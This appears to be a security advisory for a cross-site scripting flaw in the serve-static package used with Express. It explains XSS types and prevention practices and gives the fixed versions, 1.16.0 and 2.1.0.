express must not redirect before the template appears
the browser must not complete redirection before:
the user must click on the link in the template
Details
Cross-site scripting (or XSS) is a code vulnerability that occurs when an attacker “injects” a malicious script into an otherwise trusted website. The injected script gets downloaded and executed by the end user’s browser when the user interacts with the compromised website.
This is done by escaping the context of the web application; the web application then delivers that data to its users along with other trusted dynamic content, without validating it. The browser unknowingly executes malicious script on the client side (through client-side languages; usually JavaScript or HTML) in order to perform actions that are otherwise typically blocked by the browser’s Same Origin Policy.
Injecting malicious code is the most prevalent manner by which XSS is exploited; for this reason, escaping characters in order to prevent this manipulation is the top method for securing code against this vulnerability.
Escaping means that the application is coded to mark key characters, and particularly key characters included in user input, to prevent those characters from being interpreted in a dangerous context. For example, in HTML, <
can be coded as <
; and >
can be coded as >
; in order to be interpreted and displayed as themselves in text, while within the code itself, they are used for HTML tags. If malicious content is injected into an application that escapes special characters and that malicious content uses <
and >
as HTML tags, those characters are nonetheless not interpreted as HTML tags by the browser if they’ve been correctly escaped in the application code and in this way the attempted attack is diverted.
The most prominent use of XSS is to steal cookies (source: OWASP HttpOnly) and hijack user sessions, but XSS exploits have been used to expose sensitive information, enable access to privileged services and functionality and deliver malware.
Types of attacks
There are a few methods by which XSS can be manipulated:
Type | Origin | Description |
---|---|---|
Stored | Server | The malicious code is inserted in the application (usually as a link) by the attacker. The code is activated every time a user clicks the link. |
Reflected | Server | The attacker delivers a malicious link externally from the vulnerable web site application to a user. When clicked, malicious code is sent to the vulnerable web site, which reflects the attack back to the user’s browser. |
DOM-based | Client | The attacker forces the user’s browser to render a malicious page. The data in the page itself delivers the cross-site scripting data. |
Mutated | The attacker injects code that appears safe, but is then rewritten and modified by the browser, while parsing the markup. An example is rebalancing unclosed quotation marks or even adding quotation marks to unquoted parameters. |
Affected environments
The following environments are susceptible to an XSS attack:
- Web servers
- Application servers
- Web application environments
How to prevent
This section describes the top best practices designed to specifically protect your code:
- Sanitize data input in an HTTP request before reflecting it back, ensuring all data is validated, filtered or escaped before echoing anything back to the user, such as the values of query parameters during searches.
- Convert special characters such as
?
,&
,/
,<
,>
and spaces to their respective HTML or URL encoded equivalents. - Give users the option to disable client-side scripts.
- Redirect invalid requests.
- Detect simultaneous logins, including those from two separate IP addresses, and invalidate those sessions.
- Use and enforce a Content Security Policy (source: Wikipedia) to disable any features that might be manipulated for an XSS attack.
- Read the documentation for any of the libraries referenced in your code to understand which elements allow for embedded HTML.
Remediation
Upgrade serve-static
to version 1.16.0, 2.1.0 or higher.